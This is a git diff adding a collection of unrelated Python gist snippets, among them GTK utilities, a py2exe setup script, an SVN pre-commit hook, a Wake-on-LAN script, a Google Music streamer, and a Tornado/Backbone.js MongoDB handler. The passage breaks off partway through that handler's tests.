+			return super(Paginator, self).__len__()
+		except TypeError:
+			return self.object_list.count()
+	
+	def page(self, number):
+		"Returns a Page object for the given 1-based page number."
+		number = self.validate_number(number)
+		bottom = (number - 1) * self.per_page
+		top = bottom + self.per_page
+		if top + self.orphans >= self.count:
+			top = self.count
+		return Page(self.object_list[bottom:top], number, self)
+
+class Page(paginator.Page):
+	def __init__(self, object_list, number, paginator):
+		object_list = list(object_list)
+		super(Page, self).__init__(object_list, number, paginator)
+	
+	def __len__(self):
+		try:
+			return super(Page, self).__len__()
+		except TypeError:
+			return self.object_list.count(True)
+	
+	def __getitem__(self, index):
+		return self.object_list[index]
\ No newline at end of file
diff --git a/hard-gists/2358089/._snippet.py b/hard-gists/2358089/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2358089/._snippet.py differ
diff --git a/hard-gists/2358089/snippet.py b/hard-gists/2358089/snippet.py
new file mode 100644
index 00000000..5ff38062
--- /dev/null
+++ b/hard-gists/2358089/snippet.py
@@ -0,0 +1,4 @@
+from gi.repository import Gtk
+
+settings = Gtk.Settings.get_default()
+settings.set_property("gtk-application-prefer-dark-theme", True)
\ No newline at end of file
diff --git a/hard-gists/23585f7f50005408fc72/._snippet.py b/hard-gists/23585f7f50005408fc72/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/23585f7f50005408fc72/._snippet.py differ
diff --git a/hard-gists/23585f7f50005408fc72/snippet.py b/hard-gists/23585f7f50005408fc72/snippet.py
new file mode 100644
index 00000000..4fe99d10
--- /dev/null
+++ b/hard-gists/23585f7f50005408fc72/snippet.py
@@ -0,0 +1,42 @@
+#! python3.4
+from setuptools import setup
+import os
+import py2exe
+import matplotlib
+
+includes = ["sip",
+            "PyQt5",
+            "PyQt5.QtCore",
+            "PyQt5.QtGui",
+            "numpy",
+            "matplotlib.backends.backend_qt5agg",
+            "scipy",
+            "scipy.sparse.csgraph._validation",
+            "scipy.special._ufuncs_cxx",
+            "pandas"]
+
+datafiles = [("platforms", ["C:\\Python34\\Lib\\site-packages\\PyQt5\\plugins" +
+                            "\\platforms\\qwindows.dll"]),
+             ("", [r"c:\windows\syswow64\MSVCP100.dll",
+                   r"c:\windows\syswow64\MSVCR100.dll"])] + \
+            matplotlib.get_py2exe_datafiles()
+
+setup(
+    name='sampleapp',
+    version=VERSION,
+    packages=['sampleapp'],
+    url='',
+    license='',
+    windows=[{"script": "startupscript.pyw"}],
+    scripts=['startupscript.pyw'],
+    data_files=datafiles,
+    install_requires=['numpy>=1.8.1',
+                      'matplotlib>=1.4.2',
+                      'scipy>=0.14.0',
+                      'pandas>=0.14.1'],
+    options={
+        "py2exe":{
+            "includes": includes,
+        }
+    }
+)
diff --git a/hard-gists/23703b934c442a54808e245d9418545a/._snippet.py b/hard-gists/23703b934c442a54808e245d9418545a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/23703b934c442a54808e245d9418545a/._snippet.py differ
diff --git a/hard-gists/23703b934c442a54808e245d9418545a/snippet.py b/hard-gists/23703b934c442a54808e245d9418545a/snippet.py
new file mode 100644
index 00000000..183046fb
--- /dev/null
+++ b/hard-gists/23703b934c442a54808e245d9418545a/snippet.py
@@ -0,0 +1,8 @@
+import requests, appex
+from urllib.parse import urlparse
+url = appex.get_url().replace("dl=0", "dl=1")
+r = requests.get(url)
+filename = urlparse(url).path.rpartition("/")[-1].replace(".py", "-downloaded.py")
+with open(filename, "wb") as outfile:
+    outfile.write(r.content)
+print("script downloaded as " + filename)
diff --git a/hard-gists/2371c78fc0a5c8935a7a/._snippet.py b/hard-gists/2371c78fc0a5c8935a7a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2371c78fc0a5c8935a7a/._snippet.py differ
diff --git a/hard-gists/2371c78fc0a5c8935a7a/snippet.py b/hard-gists/2371c78fc0a5c8935a7a/snippet.py
new file mode 100644
index 00000000..6d4fb817
--- /dev/null
+++ b/hard-gists/2371c78fc0a5c8935a7a/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python2
+# coding: utf-8
+
+from pptx import Presentation
+import chardet
+import sys
+
+def main(filename):
+
+    prs = Presentation(filename)
+
+    # text_runs will be populated with a list of strings,
+    # one for each text run in presentation
+    text_runs = []
+
+    for slide in prs.slides:
+        for shape in slide.shapes:
+            if not shape.has_text_frame:
+                continue
+            for paragraph in shape.text_frame.paragraphs:
+                print u''.join(run.text for run in paragraph.runs).encode('utf-8')
+                #text = u''.join(run.text.decode(detector.feed(line)['encoding']) for run in paragraph.runs)
+                #text_runs.append(text)
+
+if __name__ == "__main__":
+    main(sys.argv[1])
diff --git a/hard-gists/2379572/._snippet.py b/hard-gists/2379572/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2379572/._snippet.py differ
diff --git a/hard-gists/2379572/snippet.py b/hard-gists/2379572/snippet.py
new file mode 100644
index 00000000..28d98427
--- /dev/null
+++ b/hard-gists/2379572/snippet.py
@@ -0,0 +1,52 @@
+import os
+import tempfile
+from mpi4py import MPI
+
+comm = MPI.COMM_WORLD
+size = comm.Get_size()
+rank = comm.Get_rank()
+
+mode = MPI.MODE_RDONLY
+
+if rank == 0:
+    # get a list of the files to scatter
+    #for f in glob.glob(args.alignments):
+    work = ['test1.txt', 'test2.txt']
+else:
+    work = None
+
+# scatter work units to nodes
+unit = comm.scatter(work, root=0)
+# ===================================
+# This should be node-related work
+# ===================================
+
+# open the file on a node
+f = MPI.File.Open(comm, unit, mode)
+# create a buffer for the data of size f.Get_size()
+ba = bytearray(f.Get_size())
+# read the contents into a byte array
+f.Iread(ba)
+# close the file
+f.Close()
+# write buffer to a tempfile
+descriptor, path = tempfile.mkstemp(suffix='mpi.txt')
+print path
+tf = os.fdopen(descriptor, 'w')
+tf.write(ba)
+tf.close()
+# get contents of tempfile
+contents = open(path, 'rU').read() + str(comm.Get_rank())
+os.remove(path)
+
+# ===================================
+# End of node-related work
+# ===================================
+
+# gather results
+result = comm.gather(contents, root=0)
+# do something with result
+if rank == 0:
+    print result
+else:
+    result = None
\ No newline at end of file
diff --git a/hard-gists/238302/._snippet.py b/hard-gists/238302/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/238302/._snippet.py differ
diff --git a/hard-gists/238302/snippet.py b/hard-gists/238302/snippet.py
new file mode 100644
index 00000000..9660bbe0
--- /dev/null
+++ b/hard-gists/238302/snippet.py
@@ -0,0 +1,131 @@
+# pre-commit.py:
+#
+# Performs the following:
+#  - Makes sure the author has entered a log message.
+#  - Makes sure the author is only creating a tag, or if deleting a tag, author is a specific user
+#  - Makes sure the author is not committing to a particular set of paths in the repository
+#
+# Script based on http://svn.collab.net/repos/svn/trunk/tools/hook-scripts/log-police.py
+#
+# usage: pre-commit.py -t TXN_NAME REPOS
+# e.g. in pre-commit.cmd (under Windows)
+#
+#   PATH=C:\Python26;C:\Python26\Scripts
+#   python.exe {common_hooks_dir}\pre_commit.py -t %2 %1
+
+import os
+import sys
+import getopt
+try:
+  my_getopt = getopt.gnu_getopt
+except AttributeError:
+  my_getopt = getopt.getopt
+
+import re
+
+import svn
+import svn.fs
+import svn.repos
+import svn.core
+
+# Check Tags functionality
+def check_for_tags(txn):
+  txn_root = svn.fs.svn_fs_txn_root(txn)
+  changed_paths = svn.fs.paths_changed(txn_root)
+  for path, change in changed_paths.iteritems():
+    if is_path_within_a_tag(path): # else go to next path
+      if is_path_a_tag(path):
+        if (change.change_kind == svn.fs.path_change_delete):
+          if not is_txn_author_allowed_to_delete(txn):
+            sys.stderr.write("\nOnly an administrator can delete a tag.\n\nContact your Subversion Administrator for details.")
+            return False
+        elif (change.change_kind != svn.fs.path_change_add):
+          sys.stderr.write("\nUnable to modify %s.\n\nIt is within a tag and tags are read-only.\n\nContact your Subversion Administrator for details." % path)
+          return False
+        # else user is adding a tag, so accept this change
+      else:
+        sys.stderr.write("\nUnable to modify %s.\n\nIt is within a tag and tags are read-only.\n\nContact your Subversion Administrator for details." % path)
+        return False
+  return True
+
+def is_path_within_a_tag(path):
+  return re.search('(?i)\/tags\/', path)
+
+def is_path_a_tag(path):
+  return re.search('(?i)\/tags\/[^\/]+\/?$', path)
+
+def is_txn_author_allowed_to_delete(txn):
+  author = get_txn_property(txn, 'svn:author')
+  return (author == 'admin')
+
+# Check log message functionality
+def check_log_message(txn):
+  log_message = get_txn_property(txn, "svn:log")
+  if log_message is None or log_message.strip() == "":
+    sys.stderr.write("\nYou have engaged in the obscene act of attempting to commit without a log message.\n\nPlease make another attempt, preferably including the Jira issue number in the log message.")
+    return False
+  else:
+    return True
+
+# Check disallowed commit paths functionality
+def check_disallowed_commit_paths(txn):
+  txn_root = svn.fs.svn_fs_txn_root(txn)
+  changed_paths = svn.fs.paths_changed(txn_root)
+  for path, change in changed_paths.iteritems():
+    if is_commit_disallowed(path):
+	  sys.stderr.write("\nYou are not currently allowed to commit to the path %s.\n\nContact your Subversion Administrator for details." % path)
+	  return False
+  return True
+
+def is_commit_disallowed(path):
+  disallowed_commit_paths = ['/branches/9.7', '/branches/9.8']
+  for d in disallowed_commit_paths:
+    if path.find(d) != -1:
+	  return True
+  return False
+
+def get_txn_property(txn, prop_name):
+  return svn.fs.svn_fs_txn_prop(txn, prop_name)
+
+def usage_and_exit(error_msg=None):
+  import os.path
+  stream = error_msg and sys.stderr or sys.stdout
+  if error_msg:
+    stream.write("ERROR: %s\n\n" % error_msg)
+  stream.write("USAGE: %s -t TXN_NAME REPOS\n"
+               % (os.path.basename(sys.argv[0])))
+  sys.exit(error_msg and 1 or 0)
+
+def main(ignored_pool, argv):
+  repos_path = None
+  txn_name = None
+
+  try:
+    opts, args = my_getopt(argv[1:], 't:h?', ["help"])
+  except:
+    usage_and_exit("problem processing arguments / options.")
+  for opt, value in opts:
+    if opt == '--help' or opt == '-h' or opt == '-?':
+      usage_and_exit()
+    elif opt == '-t':
+      txn_name = value
+    else:
+      usage_and_exit("unknown option '%s'." % opt)
+
+  if txn_name is None:
+    usage_and_exit("must provide -t argument")
+  if len(args) != 1:
+    usage_and_exit("only one argument allowed (the repository).")
+
+  repos_path = svn.core.svn_path_canonicalize(args[0])
+
+  fs = svn.repos.svn_repos_fs(svn.repos.svn_repos_open(repos_path))
+  txn = svn.fs.svn_fs_open_txn(fs, txn_name)
+
+  if check_log_message(txn) and check_for_tags(txn) and check_disallowed_commit_paths(txn):
+    sys.exit(0)
+  else:
+    sys.exit(1)
+
+if __name__ == '__main__':
+  sys.exit(svn.core.run_app(main, sys.argv))
diff --git a/hard-gists/2392540/._snippet.py b/hard-gists/2392540/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2392540/._snippet.py differ
diff --git a/hard-gists/2392540/snippet.py b/hard-gists/2392540/snippet.py
new file mode 100644
index 00000000..12d4b955
--- /dev/null
+++ b/hard-gists/2392540/snippet.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python2
+
+from gi.repository import Gtk, GObject, GLib
+import os
+import os.path
+
+class File(object):
+
+    def __init__(self, file_name, place_holder=False, directory=True, root=False, empty=False):
+        self.file_name = file_name
+        self.place_holder = place_holder
+        self.directory = directory
+        self.root = root
+        self.empty = empty
+
+    def __str__(self):
+        return 'File: name: {}, dir: {}, empty: {}'.\
+                format(self.file_name, self.directory, self.empty)
+
+PLACE_HOLDER = File('<should never be visible>', place_holder=True)
+EMPTY_DIR = File('<empty>', empty=True)
+
+class MainWindow(Gtk.Window):
+
+    def __init__(self):
+        Gtk.Window.__init__(self, title='File Viewer')
+        self.set_default_size(500, 300)
+
+        vbox = Gtk.Box(False, orientation=Gtk.Orientation.VERTICAL)
+        self.add(vbox)
+
+        self.treemodel = Gtk.TreeStore(object)
+
+        scrolled_tree = Gtk.ScrolledWindow()
+        vbox.pack_start(scrolled_tree, True, True, 0)
+
+        tree = Gtk.TreeView(self.treemodel)
+        tree.set_headers_visible(False)
+        tree.connect('row-expanded', self.on_row_expanded)
+        scrolled_tree.add(tree)
+
+        file_name_renderer = Gtk.CellRendererText()
+        file_type_renderer = Gtk.CellRendererPixbuf()
+
+        file_name_column = Gtk.TreeViewColumn('file')
+        file_name_column.pack_start(file_type_renderer, False)
+        file_name_column.pack_start(file_name_renderer, False)
+        file_name_column.set_cell_data_func(file_name_renderer, self.render_file_name)
+        file_name_column.set_cell_data_func(file_type_renderer, self.render_file_type_pix)
+        tree.append_column(file_name_column)
+
+        add_button = Gtk.Button('add')
+        add_button.connect('clicked', self.prompt_dir_select)
+        vbox.pack_start(add_button, False, True, 0)
+
+    def render_file_type_pix(self, col, renderer, model, tree_iter, user_data):
+        _file = model[tree_iter][0]
+        if _file.empty:
+            renderer.set_property('stock_id', None)
+        elif _file.directory:
+            renderer.set_property('stock-id', Gtk.STOCK_OPEN)
+        else:
+            renderer.set_property('stock-id', Gtk.STOCK_FILE)
+
+    def render_file_name(self, col, renderer, model, tree_iter, user_data):
+        _file = model[tree_iter][0]
+        if _file.root:
+            label = _file.file_name
+        else:
+            label = os.path.basename(_file.file_name)
+        hidden = os.path.basename(_file.file_name)[0] == '.'
+        label = GLib.markup_escape_text(label)
+        if hidden:
+            label = '<i>' + label + '</i>'
+        renderer.set_property('markup', label)
+
+    def prompt_dir_select(self, widget):
+        dialog = Gtk.FileChooserDialog(
+                action=Gtk.FileChooserAction.SELECT_FOLDER,
+                parent=self,
+                buttons=(
+                        Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,
+                        Gtk.STOCK_OK, Gtk.ResponseType.OK))
+        rv = dialog.run()
+
+        if rv == Gtk.ResponseType.OK:
+            filename = dialog.get_filename()
+            dialog.destroy()
+            GObject.idle_add(self.add_dir, filename)
+        else:
+            dialog.destroy()
+
+    def on_row_expanded(self, widget, tree_iter, path):
+        current_dir = self.treemodel[tree_iter][0]
+
+        place_holder_iter = self.treemodel.iter_children(tree_iter)
+        if not self.treemodel[place_holder_iter][0].place_holder:
+            return
+
+        paths = os.listdir(current_dir.file_name)
+        paths.sort()
+        if len(paths) > 0:
+            for child_path in paths:
+                self.add_dir(os.path.join(current_dir.file_name, child_path), tree_iter)
+        else:
+            self.treemodel.append(tree_iter, [EMPTY_DIR])
+
+        self.treemodel.remove(place_holder_iter)
+
+    def add_dir(self, dir_name, root=None):
+        is_root = root == None
+        if os.path.isdir(dir_name):
+            tree_iter = self.treemodel.append(root, [File(dir_name, root=is_root)])
+            self.treemodel.append(tree_iter, [PLACE_HOLDER])
+        else:
+            self.treemodel.append(root, [File(dir_name, root=is_root, directory=False)])
+
+if __name__ == '__main__':
+    win = MainWindow()
+    win.connect('delete-event', Gtk.main_quit)
+    win.show_all()
+    win.add_dir(os.path.expanduser('~'))
+    Gtk.main()
diff --git a/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/._snippet.py b/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/._snippet.py differ
diff --git a/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/snippet.py b/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/snippet.py
new file mode 100644
index 00000000..ed9b1c17
--- /dev/null
+++ b/hard-gists/2395528ca82e1a9b1b5f34391f00e19c/snippet.py
@@ -0,0 +1,52 @@
+# Import a bunch of models
+from sklearn.linear_model import LinearRegression
+from sklearn.svm import SVR
+from sklearn.neighbors import KNeighborsRegressor
+from sklearn.tree import DecisionTreeRegressor
+from sklearn.ensemble import GradientBoostingRegressor
+from sklearn.gaussian_process import GaussianProcessRegressor
+from sklearn.cross_decomposition import PLSRegression
+from sklearn.ensemble import AdaBoostRegressor
+
+# Import gridsearch
+from sklearn.model_selection import GridSearchCV
+
+# Add the models and grids to a list
+models = [
+  [LinearRegression(), {"fit_intercept": [True, False]}], 
+  [SVR(), {"kernel": ["linear", "poly", "rbf", "sigmoid"]}], 
+  [KNeighborsRegressor(), {"n_neighbors": [1,2], "weights": ["uniform", "distance"]}], 
+  [DecisionTreeRegressor(), {"criterion": ["mse", "friedman_mse"], "splitter": ["best", "random"],
+    "min_samples_split": [x for x in range(2,6)] # generates a list [2,3,4,5]
+  }],
+  [GradientBoostingRegressor(), {"loss": ["ls", "lad", "huber", "quantile"]}],
+  [GaussianProcessRegressor(), {}],
+  [PLSRegression(), {}],
+  [AdaBoostRegressor(), {}]
+]
+
+# Dataset
+train_X = [[5,3],[9,1],[8,6],[5,4]]
+train_Y = [28,810,214,19]
+pred_X = [7,3]
+
+# Train each model individually using grid search
+for model in models:
+  regressor = model[0]
+  param_grid = model[1]
+
+  model = GridSearchCV(regressor, param_grid)
+  
+  # Finds the most accurate hyperparametors for the regressor
+  # Based on the score function
+  model.fit(train_X, train_Y)
+
+  # assess accuracy
+  acc = model.score(train_X, train_Y)
+  
+  # output model if it's perfect
+  if acc == 1:
+    print (model)
+    print ("Accuracy: %d" % acc)
+    print ("Prediction: %d" % model.predict([pred_X]))
+    print()
diff --git a/hard-gists/2397ca6bea914adedb30b8bad4d14686/._snippet.py b/hard-gists/2397ca6bea914adedb30b8bad4d14686/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2397ca6bea914adedb30b8bad4d14686/._snippet.py differ
diff --git a/hard-gists/2397ca6bea914adedb30b8bad4d14686/snippet.py b/hard-gists/2397ca6bea914adedb30b8bad4d14686/snippet.py
new file mode 100644
index 00000000..7c44d140
--- /dev/null
+++ b/hard-gists/2397ca6bea914adedb30b8bad4d14686/snippet.py
@@ -0,0 +1,27 @@
+from microbit import *
+
+def speed_to_output(i):
+    return abs(i)*255
+
+def motor(speed, pin_a, pin_b):
+    pin_a.write_analog(speed_to_output(speed) if speed > 0 else 0)
+    pin_b.write_analog(speed_to_output(speed) if speed < 0 else 0)
+
+def drive_tank(left, right):
+    motor(left, pin16, pin0)
+    motor(right, pin12, pin8)
+
+while True:
+    pin1.read_analog()
+    pin2.read_analog()
+    in_a = pin1.read_analog() >= 250
+    in_b = pin2.read_analog() >= 250
+
+    if in_a and in_b:
+        drive_tank(0.5, 0.5)
+    elif not in_a and in_b:
+        drive_tank(1, 0.25)
+    elif in_a and not in_b:
+        drive_tank(0.25, 1)
+    else: # not in_a and not in_b:
+        drive_tank(1.0, 1.0)
\ No newline at end of file
diff --git a/hard-gists/2406a3034b4afb800290/._snippet.py b/hard-gists/2406a3034b4afb800290/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2406a3034b4afb800290/._snippet.py differ
diff --git a/hard-gists/2406a3034b4afb800290/snippet.py b/hard-gists/2406a3034b4afb800290/snippet.py
new file mode 100644
index 00000000..5829b6fe
--- /dev/null
+++ b/hard-gists/2406a3034b4afb800290/snippet.py
@@ -0,0 +1,57 @@
+from gmusicapi import Webclient
+from gmusicapi import Mobileclient
+import vlc
+import urllib
+
+# Use Google account credintials. If two factor is enabled, use application specific password.
+email = 'user@gmail.com'
+password = 'password'
+
+# Device ID for API queries. Leave blank if unknown.
+device_id = ''
+
+if email == '':
+    email = raw_input("Email: ")
+
+if password == '':
+    password = raw_input("Password: ")
+
+web_client = Webclient()
+mobile_client = Mobileclient()
+
+p = vlc.MediaPlayer()
+
+print "Logging in..."
+
+logged_in = web_client.login(email, password)
+logged_in = mobile_client.login(email, password)
+
+# logged_in is True if login was successful
+if logged_in == True:
+    print "Successfully logged in"
+    
+    if device_id == '':
+        devices = web_client.get_registered_devices()
+        valid = [device['id'][2:] + " (" + device['model'] + ")" for device in devices if device['type'] == 'PHONE']
+        print valid
+        id_index = int(raw_input("Device ID: "))
+        device_id = valid[id_index].split(' ', 1)[0]
+    
+    while True:
+        song_name = raw_input("Song title: ")
+
+        results = mobile_client.search_all_access(song_name, 1)
+        song = results['song_hits'][0]
+        song_id = song['track']['nid']
+        song_name = song['track']['title']
+        song_artist = song['track']['artist']
+        stream_url = mobile_client.get_stream_url(song_id, device_id)
+        
+        # Uncomment to save most recent song
+        # urllib.urlretrieve (stream_url, "mp3.mp3")
+
+        print "Now Playing " + song_name + " by " + song_artist
+        p.set_mrl(stream_url)
+        p.play()
+else:
+    print "Invalid login credintials"
\ No newline at end of file
diff --git a/hard-gists/2408388/._snippet.py b/hard-gists/2408388/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2408388/._snippet.py differ
diff --git a/hard-gists/2408388/snippet.py b/hard-gists/2408388/snippet.py
new file mode 100644
index 00000000..efb641ef
--- /dev/null
+++ b/hard-gists/2408388/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+# wol.py
+
+# based on http://code.activestate.com/recipes/358449-wake-on-lan/
+# added for loop to use arpwatch's MAC address list instead of manually having to maintain a list of MAC addresses
+#  there could be potential security problems with using the arpwatch list so use at your own risk.
+
+# [DZ]: Original Version by Jeremy Z (10Bitworks SA, Tx) <zunkworks@gmail.com> 
+# [DZ](Change Log): Added Command Line Option Parsing, regex parsing to wake_on_lan()
+
+import socket
+import struct
+import time
+import re
+from optparse import OptParse
+
+
+# Use macaddresses with or without seperators.
+#    wake_on_lan('0F:0F:DF:0F:BF:EF')
+#    wake_on_lan('0F-0F-DF-0F-BF-EF')
+#    wake_on_lan('0F0FDF0FBFEF')
+
+def wake_on_lan(macaddress):
+    """ Switches on remote computers using WOL. """
+
+    # Check macaddress format and try to compensate.
+    if len(macaddress) == 12:
+        pass
+    elif len(macaddress) == 17:
+        macaddress = re.compile('[:-]', re.MULTILINE).sub('', macaddress)
+    else:
+        raise ValueError('Incorrect MAC address format')
+ 
+    # Pad the synchronization stream.
+    data = ''.join(['FFFFFFFFFFFF', macaddress * 20])
+    send_data = ''
+
+    # Split up the hex values and pack.
+    for i in range(0, len(data), 2):
+        send_data = ''.join([send_data,
+                             struct.pack('B', int(data[i: i + 2], 16))])
+
+    # Broadcast it to the LAN.
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+    sock.sendto(send_data, ('<broadcast>', 5000)) # udp port 7, 9 are most common, I'm using 5000
+
+def main():
+    parser = OptionParser(usage="usage: %prog [options] <filename>",
+                          version="%prog 1.0")
+    parser.add_option("-m", "--mac",
+                      action="store",
+                      dest="macaddr",
+                      default="00:ff:de:ad:be:ef",
+                      help="MAC address to send to, valid usage is with or without separators")
+    parser.add_option("-f", "--arpfile",
+                      action="store", # optional because action defaults to "store"
+                      dest="arpwatch",
+                      default="/var/lib/arpwatch/eth3.dat",
+                      help="path to match the appropriate arpwatch file on your system")
+    parser.add_option("-d", "--delay",
+                      action="store",
+                      dest="delay",
+                      default="0.5",
+                      help="Works much better with a small delay to avoid large power surges")
+    (options, args) = parser.parse_args()
+
+    if len(args) != 1:
+        parser.error("wrong number of arguments")
+
+    f = open(options['arpwatch'],'r')
+
+    i = 0
+    for line in f:
+        info = line.split('\t')
+        print 'waking - ' + str(i) + ' - ' + str(info[0])
+        i += 1
+        # FIXME: include options['macaddress'] || info[0]
+        wake_on_lan(info[0])
+	time.sleep(options['delay'])
+    f.close()
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/2416148/._snippet.py b/hard-gists/2416148/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2416148/._snippet.py differ
diff --git a/hard-gists/2416148/snippet.py b/hard-gists/2416148/snippet.py
new file mode 100644
index 00000000..dd56be5e
--- /dev/null
+++ b/hard-gists/2416148/snippet.py
@@ -0,0 +1,311 @@
+"""
+Backbone.js handler and mongodb based handler for Tornado.
+
+`BackboneHandler` handles the sync protocol for Backbone.js.  Inherit
+from the class and implement the model methods:
+    * create_model
+    * update_model
+    * get_model
+    * delete_model
+    * get_collection
+Optionally implement is_get_collection for complex url routing schemes.
+
+`MongoBackboneHandler` implements these methods using a mongodb database.
+Inherit and implement the:
+    * model_query
+    * collection_query
+    * is_get_collection
+methods to map url arguments into database queries.  Also optionally implement:
+    * before_create
+    * before_update
+    * validate
+To validate and insert data into a document before a create/update
+
+TODO: async version
+
+
+"""
+import json
+
+import tornado.web
+import tornado.httpserver
+import pymongo
+from pymongo.objectid import ObjectId
+
+
+class BackboneHandler(tornado.web.RequestHandler):
+
+    def initialize(self, auth=True):
+        self.auth = auth
+
+    def prepare(self):
+        """ authenticate user if required """
+        if self.auth:
+            if not self.current_user:
+                raise tornado.web.HTTPError(403)
+
+    def encode(self, data):
+        return json.dumps(data)
+
+    def decode(self, data):
+        return self.loads(data)
+
+    # HTTP Verbs / Backbone.js API
+
+    def get(self, *args):
+        """ return the collection or a model  """
+        if self.is_get_collection(*args):
+            self.write(self.encode(self.get_collection(*args)))
+        else:
+            model = self.get_model(*args)
+            if model:
+                self.write(self.encode(model))
+            else:
+                raise tornado.web.HTTPError(404)
+
+    def post(self, *args):
+        """ create a model """
+        resp = self.create_model(self.decode(self.request.body), *args)
+        self.write(json.dumps(resp))
+
+    def put(self, *args):
+        """ update a model """
+        resp = self.update_model(self.decode(self.request.body), *args)
+        self.write(json.dumps(resp))
+
+    def delete(self, *args):
+        """ delete a model """
+        self.delete_model(*args)
+
+
+    # Extension points
+
+    def is_get_collection(self, *args):
+        """ return true if this get is for a collection """
+        return len(args) == 0
+
+    def create_model(self, model, *args):
+        """ create model and return a dictionary of updated attributes """
+        raise tornado.web.HTTPError(404)
+
+    def get_collection(self, *args):
+        """ return the collection """
+        raise tornado.web.HTTPError(404)
+
+    def get_model(self, *args):
+        """ return a model, return None to indicate not found """
+        raise tornado.web.HTTPError(404)
+
+    def update_model(self, model, *args):
+        """ update a model """
+        raise tornado.web.HTTPError(404)
+
+    def delete_model(self, *args):
+        """ delete a model """
+        raise tornado.web.HTTPError(404)
+
+
+
+class MongoBackboneHandler(BackboneHandler):
+
+    def initialize(self, database=None, **kws):
+        BackboneHandler.initialize(self, **kws)
+        self.database = database
+
+    # BackboneHandler extension
+
+    def encode(self, data):
+        if not isinstance(data, pymongo.cursor.Cursor):
+            if '_id' in data:
+                data['_id'] = str(data['_id'])
+            return json.dumps(data)
+
+        else: # we have a cursor
+            data = list(data)
+            for d in data:
+                if '_id' in d:
+                    d['_id'] = str(d['_id'])
+            return json.dumps(data)
+
+    def decode(self, data):
+        data = json.loads(data)
+        if '_id' in data:
+            data['_id'] = ObjectId(data['_id'])
+        return data
+
+    def create_model(self, model):
+        if not self.validate(model):
+            raise tornado.web.HTTPError(400)
+        updates = self.before_create(model)
+        model.update(updates)
+        mid = str(self.database.insert(model))
+        updates['_id'] = mid
+        return updates
+
+    def get_collection(self, *args):
+        return self.database.find(self.collection_query(*args))
+
+    def get_model(self, *args):
+        return self.database.find_one(self.model_query(*args))
+
+    def update_model(self, model, *args):
+        updates = self.before_update(model)
+        model.update(updates)
+        self.database.update(self.model_query(*args), model)
+        return updates
+
+    def delete_model(self, *args):
+        self.database.remove(self.model_query(*args))
+
+    # Extension points
+
+    def collection_query(self, *args):
+        """ return the query to find a collection from a list of url args """
+        return None
+
+    def model_query(self, *args):
+        """ return the query to find a model """
+        return {'_id': ObjectId(args[-1])}
+
+    def validate(self, model):
+        """ return False to to disallow this model """
+        return True
+
+    def before_create(self, model):
+        """ return any extra attributes you want to add to the model """
+        return {}
+
+    def before_update(self, model):
+        return {}
+
+
+if __name__ == "__main__":
+
+    import sys
+
+    if len(sys.argv) > 1 and sys.argv[1] == 'backbone':
+
+
+        class TestHandler(BackboneHandler):
+
+            def get_current_user(self):
+                """ we want to check auth/noauth """
+                return 'test'
+
+            models = [dict(id=str(i), text='X' * i) for i in range(10)]
+
+            def _find(self, cid):
+                ms = [x for x in self.models if x['id'] == cid]
+                return ms[0] if ms else None
+
+            def create_model(self, model):
+                model['id'] = str(max([int(x['id']) for x in self.models]) + 1)
+                self.models.append(model)
+                print 'created', model
+                return dict(id = model['id'])
+
+            def get_collection(self):
+                return self.models
+
+            def get_model(self, cid):
+                return self._find(cid)
+
+            def update_model(self, model, cid):
+                print 'updating', cid, model
+                self.models[self.models.index(self._find(cid))] = model
+
+            def delete_model(self, cid):
+                print 'deleting'
+                self.models.remove(self._find(cid))
+
+
+
+        application = tornado.web.Application([
+                (r"/api", TestHandler),
+                (r"/api/(.+)", TestHandler),
+            ],
+            debug=True,
+            static_path='static',
+        )
+
+
+        application.listen(9999)
+        tornado.ioloop.IOLoop.instance().start()
+
+    else:
+        import tornado.testing
+        import unittest
+        import urllib
+
+        class Handler(MongoBackboneHandler):
+
+            def before_create(self, model):
+                return dict(created=10)
+
+
+
+
+        class TestMongo(tornado.testing.AsyncHTTPTestCase):
+
+            def setUp(self):
+                self.conn = pymongo.Connection()
+                self.db = self.conn['bh_test']
+                self.coll = self.db['bh_test']
+                self.doc = self.coll.insert(dict(a=1, b=2))
+                tornado.testing.AsyncHTTPTestCase.setUp(self)
+
+            def tearDown(self):
+                tornado.testing.AsyncHTTPTestCase.tearDown(self)
+                self.conn.drop_database('bh_test')
+
+            def get_app(self):
+                return tornado.web.Application([
+                        (r"/api/", Handler, dict(database=self.coll, auth=False)),
+                        (r"/api/(.+)", Handler, dict(database=self.coll,
+                            auth=False)),
+                    ],
+                    debug=True,
+                    static_path='static',
+                )
+
+            def test_get_model(self):
+                response = self.fetch('/api/' + str(self.doc), method='GET')
+                self.assertEqual(response.code, 200)
+                model = json.loads(response.body)
+                self.assertEqual(model['_id'],  str(self.doc))
+                self.assertEqual(model['a'], 1)
+
+            def test_get_collection(self):
+                response = self.fetch('/api/', method='GET')
